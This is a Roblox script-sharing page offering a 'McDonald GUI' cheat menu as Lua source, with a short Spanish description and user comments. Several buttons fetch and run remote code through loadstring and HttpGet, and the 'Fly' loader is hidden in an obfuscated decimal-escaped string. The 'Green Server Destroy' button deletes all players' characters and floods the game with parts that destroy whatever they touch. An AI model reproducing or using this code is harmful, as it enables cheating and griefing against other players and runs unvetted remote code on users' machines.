MCDONALD GUI
Key RequiredUniversal

MCDONALD GUI

Universal ScriptCiniusBloxRPCiniusBloxRP 23.4K views 6.3K executesUpdated Dec 16, 2024
1.7/ 5(3 votes)
1233% Positive
Lua Script•453 lines (18337 chars)
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local GhostPower = Instance.new("TextButton")
local Fly = Instance.new("TextButton")
local TextButton = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(8, 8, 8)
Frame.BackgroundTransparency = 0.150
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0.0116913477, 0, 0.629346311, 0)
Frame.Size = UDim2.new(0, 355, 0, 186)
Frame.Active = true
Frame.Draggable = true

TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
TextLabel.BackgroundTransparency = 0.150
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(-0.000562297122, 0, -0.00175690232, 0)
TextLabel.Size = UDim2.new(0, 355, 0, 49)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = "McDonald GUI"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextSize = 28.000
TextLabel.TextWrapped = true

GhostPower.Name = "Ghost Power"
GhostPower.Parent = Frame
GhostPower.BackgroundColor3 = Color3.fromRGB(223, 0, 0)
GhostPower.BorderColor3 = Color3.fromRGB(0, 0, 0)
GhostPower.BorderSizePixel = 0
GhostPower.Position = UDim2.new(0.5222978, 0, 0.308614999, 0)
GhostPower.Size = UDim2.new(0, 157, 0, 50)
GhostPower.Font = Enum.Font.SourceSans
GhostPower.Text = "Ghost Power"
GhostPower.TextColor3 = Color3.fromRGB(247, 239, 16)
GhostPower.TextScaled = true
GhostPower.TextSize = 14.000
GhostPower.TextWrapped = true
GhostPower.MouseButton1Down:Connect(function()
	-- MUST USE SETTINGS, OR IT WILL NOT WORK
	getgenv().Configuration = ({
		["MIMIC_SPEED"] = 80,
		["STUDS_FROM"] = -15,
		["MIMIC_COLOR"] = "Black",
		["MIMIC_IDLE"] = "Custom", -- Animation ID
		["MIMIC_RUN"] = "Custom", -- Animation ID
		["CustomMimicModel"] = 17352896252, -- Model ID [White: 17352898583 | Black: 17352896252]

		["Information"] = {
			["Credits"] = "Icxy",
			["Discord"] = "https://discord.gg/novagui",
			["Version"] = 3.01, -- This does nothing in the script it just shows which version you are on, and if it is outdated you will need to join discord and get the newer version
		},
	})

	local NovaSoundModule = loadstring(game:HttpGet('https://icxy.xyz/scripts/dahood/NovaSoundModule.lua', true))()
	local Mimic = loadstring(game:HttpGet('https://icxy.xyz/scripts/dahood/DaMimic/script.lua', true))()


	-- Reminder of what the current keybinds are (these are the default keys)
	warn([[
	
	-- [</>] ---------------------------------------------------- [<\>] --
	
   	- Keybinds:
    X - Go Invisible
    B - Jumpscare
    C - Scary music
    H - TP to mouse
    T - Speed In direction
    
    -- [</>] ---------------------------------------------------- [<\>] --
]])

	-- Variables: 
	local LocalPlayer = game.Players.LocalPlayer
	local Mouse = LocalPlayer:GetMouse()
	local TS = game:GetService("TweenService")

	function Highlight(state)
		if state then
			local Highlight = Instance.new("Highlight", LocalPlayer.Character);
			Highlight.Name = "Mimic_Highlight"
			Highlight.OutlineTransparency = 0.8
			Highlight.OutlineColor =Color3.new(1, 1, 1)
			Highlight.FillTransparency = 0.999
			Highlight.FillColor = Color3.new(1, 1, 1)
		else
			if LocalPlayer.Character:FindFirstChild("Mimic_Highlight") then
				LocalPlayer.Character:FindFirstChild("Mimic_Highlight"):Destroy();
			end;
		end;
	end;

	-- INVIS KEYBIND
	Mimic:CreateKeybind(Enum.KeyCode.X, function() -- MAIN FUNCTION APPEAR/DISAPPEAR
		Mimic:FAKECHAR();
		if shared.InMimic then
			Highlight(true);
		else
			Highlight(false);
		end;
	end);

	-- JUMPSCARING KEYBIND
	local RandomScare = {8280196339, 7588947168}
	Mimic:CreateKeybind(Enum.KeyCode.B, function()
		if shared.InMimic then
			Mimic:FAKECHAR();
			NovaSoundModule:PhonePlay(RandomScare[math.random(1,#RandomScare)], true); -- Plays a random sound from the `RandomScare` table
			task.wait(.5) -- Time appeared while jumpscaring
			if not shared.InMimic then
				Mimic:FAKECHAR();
			end
		end;
	end);

	-- Goto Mouse with scary sound
	Mimic:CreateKeybind(Enum.KeyCode.H, function()
		if shared.InMimic then
			shared.StopTP = true
			NovaSoundModule:PhonePlay(1, true);
			task.wait()
			LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(Mouse.Hit.X, Mouse.Hit.Y+5, Mouse.Hit.Z)
			task.wait(.34)
			shared.StopTP = false
		end;
	end);

	-- Speed forwards
	Mimic:CreateKeybind(Enum.KeyCode.T, function()
		if shared.InMimic then
			NovaSoundModule:PhonePlay(6073433216, true); -- Plays a random sound in the `RandomScare` table
			task.wait(.12)
			shared.StopTP = true
			local FakeChar_HRP = workspace:FindFirstChild(LocalPlayer.Name.."_FAKECHAR"):FindFirstChild("Mimic"):FindFirstChild("HumanoidRootPart")
			LocalPlayer.Character.HumanoidRootPart.CFrame = FakeChar_HRP.CFrame
			TS:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(0.5, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {CFrame = FakeChar_HRP.CFrame * CFrame.new(0, -4, -40)}):Play()
			task.wait(.32)
			shared.StopTP = false
		end;
	end);

	Mimic:CreateKeybind(Enum.KeyCode.C, function()
		NovaSoundModule:PhonePlay(1836166976, true); -- You can change this to Mimic:BoomboxPlay(1836166976, true, true)
	end);

end)

Fly.Name = "Fly"
Fly.Parent = Frame
Fly.BackgroundColor3 = Color3.fromRGB(223, 0, 0)
Fly.BorderColor3 = Color3.fromRGB(0, 0, 0)
Fly.BorderSizePixel = 0
Fly.Position = UDim2.new(0.0220710002, 0, 0.308614999, 0)
Fly.Size = UDim2.new(0, 157, 0, 50)
Fly.Font = Enum.Font.SourceSans
Fly.Text = "Fly"
Fly.TextColor3 = Color3.fromRGB(247, 239, 16)
Fly.TextScaled = true
Fly.TextSize = 14.000
Fly.TextWrapped = true
Fly.MouseButton1Down:Connect(function()
	loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\40\39\104\116\116\112\115\58\47\47\103\105\115\116\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\109\101\111\122\111\110\101\89\84\47\98\102\48\51\55\100\102\102\57\102\48\97\55\48\48\49\55\51\48\52\100\100\100\54\55\102\100\99\100\51\55\48\47\114\97\119\47\101\49\52\101\55\52\102\52\50\53\98\48\54\48\100\102\53\50\51\51\52\51\99\102\51\48\98\55\56\55\48\55\52\101\98\51\99\53\100\50\47\97\114\99\101\117\115\37\50\53\50\48\120\37\50\53\50\48\102\108\121\37\50\53\50\48\50\37\50\53\50\48\111\98\102\108\117\99\97\116\111\114\39\41\44\116\114\117\101\41\41\40\41\10\10")()
end)

TextButton.Parent = Frame
TextButton.BackgroundColor3 = Color3.fromRGB(223, 0, 0)
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.0208893251, 0, 0.658887148, 0)
TextButton.Size = UDim2.new(0, 157, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Green Server Destroy"
TextButton.TextColor3 = Color3.fromRGB(247, 239, 16)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true
TextButton.MouseButton1Down:Connect(function()
	sound = Instance.new("Sound",workspace)
	sound.Name = "Noooooooooooooooot noooooooooooooooooooooooot"
	sound.SoundId = "rbxassetid://1839246711"
	sound:Play()
	sound.Looped = true
	repeat
		wait(0.01)
	until sound.IsLoaded == true
	wait(13)
	de = Instance.new("DistortionSoundEffect",sound)
	de.Level = 0.8
	sky = Instance.new("Sky",game:GetService("Lighting"))
	sky.SkyboxBk = "http://www.roblox.com/asset/?id=12606834845"
	sky.SkyboxFt = "http://www.roblox.com/asset/?id=12606834845"
	sky.SkyboxLf = "http://www.roblox.com/asset/?id=12606834845"
	sky.SkyboxRt = "http://www.roblox.com/asset/?id=12606834845"
	sky.SkyboxUp = "http://www.roblox.com/asset/?id=12606834845"
	sky.SkyboxDn = "http://www.roblox.com/asset/?id=12606834845"
	sky.CelestialBodiesShown = false
	sky.StarCount = 999999999999999999
	getplrs = game:GetService("Players"):GetPlayers()
	for i=1, #getplrs do
		getplrs[i].Character:Destroy()
	end
	game:GetService("Lighting").FogEnd = 1000
	game:GetService("Lighting").FogStart = 900
	game:GetService("Lighting").FogColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
	msg = Instance.new("Message",workspace)
	msg.Text = "oh n0!!?!!looks like your pc is doomed by penguin and cXyzkidd!!?"
	findteams = game:FindFirstChild("Teams")
	if findteams then
		findteams:ClearAllChildren()
	end
	while true do
		wait(0.01)
		if findteams then
			team = Instance.new("Team",findteams)
			team.Name = "hail cXyzkidd?!!!"..tostring(math.random(1,33373))
			team.TeamColor = BrickColor.Random()
		end
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
		penguin = Instance.new("Part",workspace)
		mesh = Instance.new("SpecialMesh",penguin)
		mesh.MeshType = Enum.MeshType.FileMesh
		mesh.MeshId = "rbxassetid://891312072"
		mesh.TextureId = "rbxassetid://891312078"
		penguin.Touched:connect(function(otherpart)
			otherpart:Destroy()
		end)
		penguin.Size = Vector3.new(6.502, 11.339, 14.281)
		penguin.CFrame = CFrame.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))
	end
end)

TextButton_2.Parent = Frame
TextButton_2.BackgroundColor3 = Color3.fromRGB(223, 0, 0)
TextButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.BorderSizePixel = 0
TextButton_2.Position = UDim2.new(0.5222978, 0, 0.658887148, 0)
TextButton_2.Size = UDim2.new(0, 157, 0, 50)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "Infinite Yield"
TextButton_2.TextColor3 = Color3.fromRGB(247, 239, 16)
TextButton_2.TextScaled = true
TextButton_2.TextSize = 14.000
TextButton_2.TextWrapped = true
TextButton_2.MouseButton1Down:Connect(function()
	loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
end)

Features & Information

(spanish) Mc Donald GUI, Una Interfaz de Usuario Para todos Los Juegos! Sirve para pasar un poco el aburrimiento, con 4 Botones: Fly, Ghost Power, Green Destroy Server e Infinite Yield. Es muy igual a un McDonald XD :v Like si te gusto, y queres que Suba Mas Scripts :)

Community Comments (4)

BigBoyTimmeBigBoyTimmeDec 16, 2024(edited)

You might wanna protect your script using lua obfuscator or moonsec v3, because people can steal it. Unless, your script is Open-Source.

CiniusBloxRPCiniusBloxRPDec 17, 2024(edited)

I had no idea it could be stolen, but thanks! By the way, did you try the script?

BigBoyTimmeBigBoyTimmeDec 17, 2024(edited)

Well, I looked at the code first, but I did just check it out!

CiniusBloxRPCiniusBloxRPDec 17, 2024(edited)

thanks, Basically almost every day I spend all day on my PC, designing scripts.

More Scripts for Universal Scripts